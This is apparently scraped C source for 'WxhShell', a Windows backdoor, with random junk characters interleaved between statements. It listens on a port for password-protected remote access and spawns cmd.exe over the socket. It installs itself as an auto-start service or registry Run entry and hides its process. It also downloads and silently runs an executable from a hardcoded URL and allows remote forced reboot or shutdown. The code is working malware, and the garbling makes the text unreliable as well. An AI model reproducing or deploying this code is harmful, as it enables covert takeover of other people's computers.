(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A&<?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +_qh)HX S3uyn78hI if (!NtQueryInformationProcess) return 0; Fn:.Y8%-
3L%WVCB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h?0F-6z if(!hProcess) return 0; I*D<J$ 9N WP0 #i~3* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \ Y*h 99^AT*ByY CloseHandle(hProcess); S d IGU[fm Zc-#;/b3T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I"ca+4] if(hProcess==NULL) return 0; g<fDY6jt b.#^sm// HMODULE hMod; p?Ed-
S char procName[255]; LGIalf*7 unsigned long cbNeeded; Yeqvv
Ptx,2e&Hq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^:qD .h>& 5k69F CloseHandle(hProcess); Q[M (Wqg ql^g~b if(strstr(procName,"services")) return 1; // 以服务启动 :.#z 7p^@;@V return 0; // 注册表启动 U,PZMz`2j } <eY%sFq, <B!'3C(P // 主模块 Z<;U:aH?} int StartWxhshell(LPSTR lpCmdLine) 2B-.}OJ { Pg/T^n& SOCKET wsl; *z q .C BOOL val=TRUE; qxfLfgu^ int port=0; , jy<o+! struct sockaddr_in door; }'%^jt[3 LfEvc2
v=g if(wscfg.ws_autoins) Install(); !\^jt%e& n@
4@, port=atoi(lpCmdLine); +'|{1gB Z==!C=SBv if(port<=0) port=wscfg.ws_port; F;u7A]H^ v
dU%R\ WSADATA data; U;g S[8,p if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2{-!E ^g abBO93f^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^ Hg/P8q setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :[xvlW29 door.sin_family = AF_INET; R:~(Z? door.sin_addr.s_addr = inet_addr("127.0.0.1"); y}N&/}M:}8 door.sin_port = htons(port); IU|kNBo mQ}Gh_'ps if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MTb,Kmw<( closesocket(wsl); l-}KmZ] return 1; rfs (# } Sh&iQ_vq
RNTa XR+Zn if(listen(wsl,2) == INVALID_SOCKET) { 5;mRGY closesocket(wsl); 7X}TB\N1 return 1; ydQ!4 } Q(Gyq:L=> Wxhshell(wsl); ! Z;T-3^. WSACleanup(); y<uAp '^iUx,,ZQ return 0; {~N3D4n^ oQT2S>cm^ } o5swH6Y.)J r|GY]9 // 以NT服务方式启动 6)}B"Qd VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JJ?I>S N! { 0C$8g
Y* DWORD status = 0;
NF+<#*1 DWORD specificError = 0xfffffff; Zw{MgoJ0Z mnjs(x<m serviceStatus.dwServiceType = SERVICE_WIN32; |sIr?RL{C serviceStatus.dwCurrentState = SERVICE_START_PENDING; +C+<BzR~A. serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m\ S\3n serviceStatus.dwWin32ExitCode = 0; ~_>cM c serviceStatus.dwServiceSpecificExitCode = 0; w^q7n serviceStatus.dwCheckPoint = 0; }D*yr3b serviceStatus.dwWaitHint = 0; 5u$ D/*
Eb ])w[ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BT,b-=
;J- if (hServiceStatusHandle==0) return; lpgd#vr tY+$$GSQj status = GetLastError(); eC! #CK if (status!=NO_ERROR) O_;Dk W { IP3E9z_L serviceStatus.dwCurrentState = SERVICE_STOPPED; bsS:"/?> serviceStatus.dwCheckPoint = 0; T2FE+ A]n9 serviceStatus.dwWaitHint = 0; J?&l*_m;t serviceStatus.dwWin32ExitCode = status; &nj&:?w serviceStatus.dwServiceSpecificExitCode = specificError; &GhPvrxI? SetServiceStatus(hServiceStatusHandle, &serviceStatus); mi,&0xDea return; ,"\@fwy{ } z6*<V5<7 2`?!+") serviceStatus.dwCurrentState = SERVICE_RUNNING; W*N$'% serviceStatus.dwCheckPoint = 0; M.q=p[ serviceStatus.dwWaitHint = 0; VT%:zf if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^D{lPu
3 } |[$~\MU l Dxc`S // 处理NT服务事件,比如:启动、停止 Gl}Qxv#$ VOID WINAPI NTServiceHandler(DWORD fdwControl) ?6^|ZtB { B<?wh0 switch(fdwControl) fCWGAO2 { 0Ua%DyJ case SERVICE_CONTROL_STOP: #V,R >0" serviceStatus.dwWin32ExitCode = 0; c; 2#,m^ serviceStatus.dwCurrentState = SERVICE_STOPPED; 72W
s
K" serviceStatus.dwCheckPoint = 0; P"/G serviceStatus.dwWaitHint = 0; $za8"T*I { eW J`$"z SetServiceStatus(hServiceStatusHandle, &serviceStatus); ml`8HXK0 } =O).Lx2J return; p5r]J +1 case SERVICE_CONTROL_PAUSE: T .FI'wy serviceStatus.dwCurrentState = SERVICE_PAUSED; 7&qy5y-Ap break; Ej".axjT case SERVICE_CONTROL_CONTINUE: "pP^*9FrA serviceStatus.dwCurrentState = SERVICE_RUNNING; Vw|| !d break; ~Wo)?q8UY, case SERVICE_CONTROL_INTERROGATE: \R36w^c3 break; myl+J;,] }; l
vMlL5t SetServiceStatus(hServiceStatusHandle, &serviceStatus); R\@/U=iqR } aI^/X{d fC,:{} // 标准应用程序主函数 Od4E x;F int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SCvVt { (8.Z..PH ?=m?jNa;nC // 获取操作系统版本 1cS}J:0P OsIsNt=GetOsVer(); 'u4<BQVV[ GetModuleFileName(NULL,ExeFile,MAX_PATH); ?HF%(>M ho##Z*O // 从命令行安装 $YN6<5R) if(strpbrk(lpCmdLine,"iI")) Install(); 4RSHZAJg g35DV6 // 下载执行文件 ]QzGE8jp* if(wscfg.ws_downexe) { TT=b79k if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^6_e=jIN
WinExec(wscfg.ws_filenam,SW_HIDE); 8"sb; } O+y-}7YX &?mD$Eo if(!OsIsNt) { _?OW0x4 // 如果时win9x,隐藏进程并且设置为注册表启动 xx[9~z=d HideProc(); ='`/BY(m[ StartWxhshell(lpCmdLine); B!vmQR*1 } 'nXl> else yzqVz_Fi*W if(StartFromService()) ]IoUwg pI) // 以服务方式启动 >-H{Z{VDd StartServiceCtrlDispatcher(DispatchTable); ^h69Kr#d4 else T6 '`l?H`; // 普通方式启动 xuqv6b. StartWxhshell(lpCmdLine); $0vb^ zuUW|r return 0; i_j[?.?X} } KXx32 b,~ 8C*c{(4 Y;?{| Z'"tB/=W =========================================== .Y&)4+ckL Vh_P/C+ ;7}VBkH wK?vPS \O2Rhz $<}$DH_Y " "*In+ !K o,_?^'@ #include <stdio.h> LDPUD' #include <string.h> I}1NB3>^ #include <windows.h> |y(Q #include <winsock2.h> &5yVxL: #include <winsvc.h> P)P*Xqr#: #include <urlmon.h> bbE!qk;hEP As'=tIro #pragma comment (lib, "Ws2_32.lib") nAv#?1cjz #pragma comment (lib, "urlmon.lib") ;lE%M sB7#
~pA #define MAX_USER 100 // 最大客户端连接数 4y|BOVl #define BUF_SOCK 200 // sock buffer 45@^L's #define KEY_BUFF 255 // 输入 buffer >T^;MS ~E17L]ete #define REBOOT 0 // 重启 JRB9rSN^ #define SHUTDOWN 1 // 关机 JMC. w! '=b/6@& #define DEF_PORT 5000 // 监听端口 Z?h~{Mg IxY|>5z #define REG_LEN 16 // 注册表键长度 X%
t1T4 #define SVC_LEN 80 // NT服务名长度 0XE4<U ,Lr.9I. // 从dll定义API CsGx@\jN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8\+uec]k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -t!~%_WCv typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Va"0>KX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +^60T$ Z^3rLCa // wxhshell配置信息 +r2+X:#~T struct WSCFG { ]_f_w9] int ws_port; // 监听端口 h4fJvOk|! char ws_passstr[REG_LEN]; // 口令 j#!IuH\] int ws_autoins; // 安装标记, 1=yes 0=no (7wc *#} char ws_regname[REG_LEN]; // 注册表键名 oH97=> char ws_svcname[REG_LEN]; // 服务名 L/$H"YOv char ws_svcdisp[SVC_LEN]; // 服务显示名 <cps2*' char ws_svcdesc[SVC_LEN]; // 服务描述信息 (KjoSN(
K char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <? q?Mn int ws_downexe; // 下载执行标记, 1=yes 0=no fDv2JdiU char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -*1d! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .s?L^Z^ 8W*%aOi5+ }; L+b6!2O, $*^7iT4q_t // default Wxhshell configuration V(H1q`ao9 struct WSCFG wscfg={DEF_PORT, BtkOnbz8X "xuhuanlingzhe", R`NYEptJ 1, ?+))}J5N\ "Wxhshell", |mZxfI "Wxhshell", Kn5~d(: "WxhShell Service", l!D}3jD "Wrsky Windows CmdShell Service", u|\1hLXX "Please Input Your Password: ", h79}qU 1, S|Q@:r" "http://www.wrsky.com/wxhshell.exe", KjD/o?JUr "Wxhshell.exe" .YtKS }; ; 5*&xz IPS4C[v // 消息定义模块 $o+j
El> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E^B'4 char *msg_ws_prompt="\n\r? for help\n\r#>"; /:cd\A} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Amtq"<h9a char *msg_ws_ext="\n\rExit."; )v'WWwXY> char *msg_ws_end="\n\rQuit."; tHU 2/V:R char *msg_ws_boot="\n\rReboot..."; 5?f ^Rz char *msg_ws_poff="\n\rShutdown..."; NDN7[7E char *msg_ws_down="\n\rSave to "; &h}#HS>l W_JlOc!y char *msg_ws_err="\n\rErr!"; KYB`D.O char *msg_ws_ok="\n\rOK!"; 2R[:]-b $zUP?Gq! char ExeFile[MAX_PATH]; D,k6$` int nUser = 0; ))qy;Q, HANDLE handles[MAX_USER]; Lc}y<=P@ int OsIsNt;
{y)=eX9 FUiRTRIYe SERVICE_STATUS serviceStatus; ncaT?~u j SERVICE_STATUS_HANDLE hServiceStatusHandle; {B~QQMEow 4VHn \ // 函数声明 1a/++4O.| int Install(void); y#`tgJ: int Uninstall(void); hqD*z6aH int DownloadFile(char *sURL, SOCKET wsh); &j;wCvE4+ int Boot(int flag); xw.A #Zb\_ void HideProc(void); W<'m:dq int GetOsVer(void); b]e"1Y)D- int Wxhshell(SOCKET wsl); (|2t#'m void TalkWithClient(void *cs); sWhZby7 int CmdShell(SOCKET sock); ::`HQ@^ int StartFromService(void); G0Iw-vf int StartWxhshell(LPSTR lpCmdLine); Usvl}{L[ -oGdk|Yn VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EAUEQk?9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9gW|}&- 9i:L&dN // 数据结构和表定义 ]U+LJOb SERVICE_TABLE_ENTRY DispatchTable[] = /l3V3B7 { e[1hz_v {wscfg.ws_svcname, NTServiceMain}, KR}?H#% {NULL, NULL} fuW\bo3 }; !t"4!3 Dm981t>wL // 自我安装 XPc^Tq int Install(void) gt)I( { 8]c2r%J char svExeFile[MAX_PATH]; gb1V~ HKEY key; /|}EL%a strcpy(svExeFile,ExeFile); l$KA)xbI AI2)g1m // 如果是win9x系统,修改注册表设为自启动 g&L!1<,
p if(!OsIsNt) { hgG9m[?K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \doUTr R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M/f<A$xx_ RegCloseKey(key); E: 68?IJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &u."A3( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~12EQacOT RegCloseKey(key); <_L,t 1H{ return 0; ]h`&&B qt } |d2SIyUc } j^sg6.Z* } J3V=
46Yc else { c^xIm'eob
z_$% -6 // 如果是NT以上系统,安装为系统服务 ~7w"nIs<c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Al{+gx@? if (schSCManager!=0) ;+R&}[9,A) { XX TL.. SC_HANDLE schService = CreateService P= BZ+6DS ( 6Igz:eX schSCManager, 1ba~SHi wscfg.ws_svcname, bSlF=jT[S wscfg.ws_svcdisp, )u&|_&g{}J SERVICE_ALL_ACCESS, n+9=1Oo" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yWc$>ne[L SERVICE_AUTO_START, ! I:%0D SERVICE_ERROR_NORMAL, `g?Negt\v svExeFile, Dj?> <@ NULL, VT)oLj/A NULL, oCv.Ln1;Z NULL, qBQ?HLK- NULL, net@j#}j- NULL %IA\pSE ); jRlYU`? if (schService!=0) H2 {+) { ,8uqdk-D CloseServiceHandle(schService); Y] _ruDIW CloseServiceHandle(schSCManager); (8DC}kckE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :S83vE81WK strcat(svExeFile,wscfg.ws_svcname); |Zpfq63W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \:'/'^=#| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #Vt%@*
i RegCloseKey(key); O63<AY@ return 0; .VJMz4$]O } nHAS( } 9L?.m& CloseServiceHandle(schSCManager); OZF
rtc+ } n,(sBOQ } IMFDM."s U$.@]F4& return 1; dL 1tl } /t57!& aiUY>M#| // 自我卸载 =:Fc;n>c<K int Uninstall(void) N)| yu1S { V7Lxfoa4 HKEY key; Lx1FpHo }OR@~V{Gj if(!OsIsNt) { N^G
Mp,8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qJs<#MQ2 RegDeleteValue(key,wscfg.ws_regname); GW@;}m( RegCloseKey(key); BO;tCEV? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6:5I26 RegDeleteValue(key,wscfg.ws_regname); dr}`H,X"3 RegCloseKey(key); iRbT/cc{ return 0; {SPq$B_VR } BLdvyVFx } CS5?Ti6 } +F` S>U else { =l;ewlU . B9iLI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qp}Cqi if (schSCManager!=0) \)N9aV { .Wj;%| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RDi]2 if (schService!=0) o3^l~iT { )gIKH{JYL if(DeleteService(schService)!=0) { =pO^7g CloseServiceHandle(schService); ;>yxNGV` CloseServiceHandle(schSCManager); L|:`^M+^w return 0; ZRB)uA)5= } u#$]?($}d CloseServiceHandle(schService); W=><)miQ@ } 0/MtYIYk CloseServiceHandle(schSCManager); .CABH,Po: } x b~yM%*c } )e+>w=t rC% *$g $ return 1; \BTODZ:h } @/.;Xw] ?m}s4a // 从指定url下载文件 Q800y??&J int DownloadFile(char *sURL, SOCKET wsh) b9J_1Gl] { )._; ~z! HRESULT hr; KNvZm;Q6 char seps[]= "/"; _[c0)2h char *token; ]d0BN`*U. char *file; i{NzV char myURL[MAX_PATH]; 4{U T!WIi char myFILE[MAX_PATH]; X::JV7hu feDlH[$ strcpy(myURL,sURL); H?vdr:WlTN token=strtok(myURL,seps); x.!V^HQSN while(token!=NULL) QvlObEhcS { JV^=v@Z3 file=token; *SDs;kg token=strtok(NULL,seps); wx=
$2N6 } 1~Y<//5E
F2LLN GetCurrentDirectory(MAX_PATH,myFILE); x_N'TjS^{ strcat(myFILE, "\\"); 30#s aGV strcat(myFILE, file); 2ozax)GY send(wsh,myFILE,strlen(myFILE),0); WYm\)@ send(wsh,"...",3,0); |^"1{7) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ICx#{q@f, if(hr==S_OK) MDZ640-Y return 0; h6D<go-b56 else ArI2wM/v return 1; BQE|8g'&T zII|9y } w7.V6S$Ga DZ'P@f)] // 系统电源模块 B
dj!ia;H int Boot(int flag) jjB~G^n { 8yR.uMI$/ HANDLE hToken; Q^9_'t}X TOKEN_PRIVILEGES tkp; Xv5wJlc!d 17%,7P9pg if(OsIsNt) { FF`T\&u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :1.L}4"gg LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `_Zg3_K.dS tkp.PrivilegeCount = 1; ?4#Li~q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Eak$u>Fd8c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rK6l8)o if(flag==REBOOT) { YNyk1cE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ky,(xT4 return 0; O_muD\ } [\98$BN else { Tj`,Z5vy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x/I%2F return 0; 4<w.8rR:A } 'A=^Se`= } ~|DUt else { iJI }TVep# if(flag==REBOOT) { \$~|ZwV{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fc)@,/R"v return 0; R6<X%*&% } } ^~F| else { 7FP*oN? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GE:vp>>}` return 0; P+
3G~Sr } a{'vN93 } hE'-is@7 &.)^
%Tp\z return 1; a_^\=&?' } kr^P6}' htO+z7 // win9x进程隐藏模块 xjUT{iwS void HideProc(void) RtkEGxw*^ { ?8H8O %Z8 8?B!2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )` Sr fGp8 if ( hKernel != NULL ) ^&9zw\x;z { +B,}Q r pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IEL%!RFG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {K~ 'K+TPu FreeLibrary(hKernel); P8OaoPj } fh&nu"& x xHY+(m return; UP$.+<vm } 1SQ3-WUs Si4!R+4w // 获取操作系统版本 ih-#5M@ int GetOsVer(void) F$y$'Rzu_B { ch*8B(: OSVERSIONINFO winfo; t5^{D>S1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f=l rg KE GetVersionEx(&winfo); B-RjMxX4> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /*(Kr'c return 1; np|Sy;: else +qN>.y!Y return 0; ydEoC$?0 } g i3F`
m +)AG* // 客户端句柄模块 q^@Q"J =v int Wxhshell(SOCKET wsl) c`)\Pb/O { C#.->\ SOCKET wsh; X;+sUj8 struct sockaddr_in client; &C5_g$Ma.Z DWORD myID; B B{$&Oh O0x,lq while(nUser<MAX_USER) J/`<!$<c { -u+vJ6EY int nSize=sizeof(client); (!u~CZ; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .fqN|[> if(wsh==INVALID_SOCKET) return 1; @(w@e\Bq 1/B>XkCJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @,j*wnR if(handles[nUser]==0) /obfw^ closesocket(wsh); f3l&3hC else Uk wP nUser++; 6xmZXpd! } *uRBzO} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )th<,Lo3# R{`(c/%8 return 0; D(op)]8 } x
M/+L:_< 'T;P;:!\ // 关闭 socket VOsRAn/N void CloseIt(SOCKET wsh) aH(J,XY { S/hQZHZHg, closesocket(wsh); un"Gozmt5 nUser--; i$"F{|Z0 ExitThread(0); JPI3[.o } PCee<W_%YE #4NaL // 客户端请求句柄 =+-UJo5 void TalkWithClient(void *cs) 6dr%;Wp { WF+99?75 ha<[bu e SOCKET wsh=(SOCKET)cs; :as$4| char pwd[SVC_LEN]; ~8Fk(E_ char cmd[KEY_BUFF]; &{n.]]%O. char chr[1]; \ A#41
int i,j; Lnl(2xD Y=?3 js?O while (nUser < MAX_USER) { U[-o> W# K:[F%e if(wscfg.ws_passstr) { =U9*'EFr if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @+2=g WH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1z4OI6$Af //ZeroMemory(pwd,KEY_BUFF); YQvD|x i=0; e2TiBTbQaF while(i<SVC_LEN) { Xza(k wH&!W~M
// 设置超时 7M~K,E(7~ fd_set FdRead; S!CC
}3zw struct timeval TimeOut; g}{aZ$sta FD_ZERO(&FdRead); dt]-,Y
FD_SET(wsh,&FdRead); `5.'_3 TimeOut.tv_sec=8; Z]Cq3~l TimeOut.tv_usec=0; n0 {i&[I~+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); } 9Eg=%0v if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n5NsmVW \x 0RLg:SV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YnAm{YyI pwd=chr[0]; "Ac-tzhE if(chr[0]==0xd || chr[0]==0xa) { .@U@xRu7| pwd=0; \'D0'\:vz break; K=k"a } mxC;?s;~ i++; `(V3:F("@ } PiIpnoM 4F'LBS]=0 // 如果是非法用户,关闭 socket a~}OZ&PG if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i%]EEVmN } <0&*9ZeD JIOR4' 9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WiR(;m<g send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )23H1 .}TZxla0Zr while(1) { 6j]0R*B7`Q ZDYJ\ }= ZeroMemory(cmd,KEY_BUFF); 3$>1FoSk )yZ^[uJ}3C // 自动支持客户端 telnet标准 /]Md~=yNp j=0; K!Y71_# while(j<KEY_BUFF) { c9 _rmz8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,f'CD{ E cmd[j]=chr[0]; {qJ1ko)$ if(chr[0]==0xa || chr[0]==0xd) { ,Uqs1#r cmd[j]=0; "_NN3lD)X break; L48_96 } rcG"o\g@+ j++; ,Ah;A[%?~ } j-}O0~Jz =K[yT: // 下载文件 eJX9_6m- if(strstr(cmd,"http://")) { )'cMYC send(wsh,msg_ws_down,strlen(msg_ws_down),0); G}raA% if(DownloadFile(cmd,wsh)) i3mcx)d@H send(wsh,msg_ws_err,strlen(msg_ws_err),0); %pL''R9VF else :{l_FY436 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jk
n>S#SZ } >@_^fw) else { V6X 0^g 3;{kJQ switch(cmd[0]) { o|<!"AD7 m&,(Jla // 帮助 iz PDd{[ case '?': { }9OC,Y8?D send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n 0L^e break; ZKTz
, } xY(*.T9K // 安装 zHRplm+i case 'i': { =-n}[Y}A if(Install()) bK&+5t& send(wsh,msg_ws_err,strlen(msg_ws_err),0); Feq]U? else ;[OH(! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MAPGJ"?
break; `b7t4d* } m&&m,6``P // 卸载 v PG},m~- case 'r': { -x`@6 if(Uninstall()) V {ddr:]4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); W.KDVE$}f else #.)0xfGW)n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SoSb+\*@h break; >_ T-u<E } c4eBt))}V // 显示 wxhshell 所在路径 m~0/&RA case 'p': { vV-`jsq20H char svExeFile[MAX_PATH]; Btn]}8K strcpy(svExeFile,"\n\r"); |t#)~Oo strcat(svExeFile,ExeFile); wjB:5~n50k send(wsh,svExeFile,strlen(svExeFile),0); cU!vsdR3 break; #?- wm } ?J~_R1Z // 重启 ~dTrf>R8M case 'b': { z5*'{t) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H8}oIA"b if(Boot(REBOOT)) LBDjIpR6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Si;H0uP O else { -k"/X8 closesocket(wsh); *#+An<iT ; ExitThread(0); Ry6@VQ"NLb } Q K<"2p? break; wgGl[_) } )R1<N // 关机 \d`h/tHk case 'd': { 'c$+sp ? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .V8Lauz8 if(Boot(SHUTDOWN)) )|#sfHv7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &`2)V;t else { 5M*:}* closesocket(wsh); ]Gq !`O1 ExitThread(0); 88wa7i* } Ao&"r[oJSv break; -]M5wb2, } LyFN.2qw // 获取shell ' %o#q6O case 's': { )MTOU47U CmdShell(wsh); ds[| closesocket(wsh); OYn}5RN ExitThread(0); BR;D@R``} break; }b.%Im<3R } j/?kL{B // 退出 -m~#Bq case 'x': { ; kI134i= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L)
T (< CloseIt(wsh); wNd isI break; T1=fNF } ?^\|-Gr // 离开 1#+S+g@# case 'q': { 1=Z0w +v{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); -PR N:'T closesocket(wsh); z!9-: WSACleanup(); E$p+}sP(C exit(1); >tW#/\x{ break; P( 8OQL: } k@W1-D? } k~w*W X' } BLD gt~h# 8FY?!C // 提示信息 H"WprHe if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >pe.oxY } c\AfaK^KF } '/s)%bc l!u_"I8j5 return; mc\"yC^s } _xhax+,! ~ qY!Zt_Be6 // shell模块句柄 :"/d|i`T int CmdShell(SOCKET sock) $6SW;d+>n { +52{-a,> STARTUPINFO si; U # qK. ZeroMemory(&si,sizeof(si)); Ig>(m49d si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZPYS$Ydy si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g`QEu
5v PROCESS_INFORMATION ProcessInfo; fI|Nc char cmdline[]="cmd"; P~X2^bw CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
[/8%3 return 0; f4|rVP|x } {"KMs[M .% // 自身启动模式 hp|YE'uYT int StartFromService(void) >fQMXfoY { 1bwOmhkS typedef struct aK^q_ghh[ { R0*|Lo$6 DWORD ExitStatus; ;;/{xvQ.1 DWORD PebBaseAddress; o?Oc7$+u DWORD AffinityMask; nAlQ7' DWORD BasePriority; %d9uTm; ULONG UniqueProcessId; R.<g3"Lm> ULONG InheritedFromUniqueProcessId; b@hqz!)l` } PROCESS_BASIC_INFORMATION; \ @2R9,9E c@L< Z` u PROCNTQSIP NtQueryInformationProcess; a0)QH ]3Sp W{=^( static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )zDCu` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =41?^1\ &mS^ZyG HANDLE hProcess; mj7#&r,1l PROCESS_BASIC_INFORMATION pbi; :?1Dko^ 5wU]!bxr HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1EX;MW-p<T if(NULL == hInst ) return 0; ('+d.F[109 kvu)y` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]u/sphPe g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z},# ~L6$q NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k)TpnH! " aV0"~5 if (!NtQueryInformationProcess) return 0; +G>\-tjSD 6[AL|d
DK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ":N9(}9 if(!hProcess) return 0; >9Vn.S 42ge3> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rEz^ ZXPX,~ 5o CloseHandle(hProcess); )NT*bLRPQ T6$+hUM$1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Y m2/3! if(hProcess==NULL) return 0; )%fH(ns( +:/%3}` HMODULE hMod; -m#)B~) char procName[255]; P16~Qj unsigned long cbNeeded; + Vdpy( Qn2&nD%zi if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "Z+k=~( 